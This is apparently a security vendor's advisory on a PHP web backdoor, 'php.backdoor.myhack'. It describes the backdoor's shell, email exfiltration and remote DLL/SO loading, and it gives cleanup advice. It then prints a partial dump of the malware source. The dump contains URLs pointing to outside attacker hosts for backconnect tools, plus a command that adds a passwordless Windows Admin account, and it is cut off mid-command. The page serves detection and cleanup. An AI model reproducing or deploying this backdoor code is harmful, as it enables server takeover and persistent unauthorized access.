Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.
php.backdoor.myhack is a complex backdoor with implemented shell functionality, but is also capable of sending sensitive data back to the attacker via e-mail. It also tries to load other malicious files directly on the compromised system. In case of Windows based OS, it loads malicious DLL and on Linux based OS, it tries to load malicious SO module. These files are downloaded from a remote source.
Affecting
Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).
Cleanup
Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.
Dump
<center><h2>Gentoo @ MyHack</h2></center>
<?php
@set_time_limit(0);
$string = $_SERVER['QUERY_STRING'];
$mhost = 'http://www.permaya.org/x?';
$host_all = explode("$mhost", $string);
$s1 = $host_all[0];
$fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;
$OS = @PHP_OS;
$IpServer = '127.0.0.1';
$UNAME = @php_uname();
$PHPv = @phpversion();
$SafeMode = @ini_get('safe_mode');
if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
else { $SafeMode = "<i>$SafeMode</i>"; }
$btname = 'backtool.txt';
$bt = 'http://www.revitalizemassage.com/xpl/bind';
$dc = 'http://www.revitalizemassage.com/xpl/back.txt';
$newuser = '@echo off;net user Admin /add /expires:never /passwordreq:no;net localgroup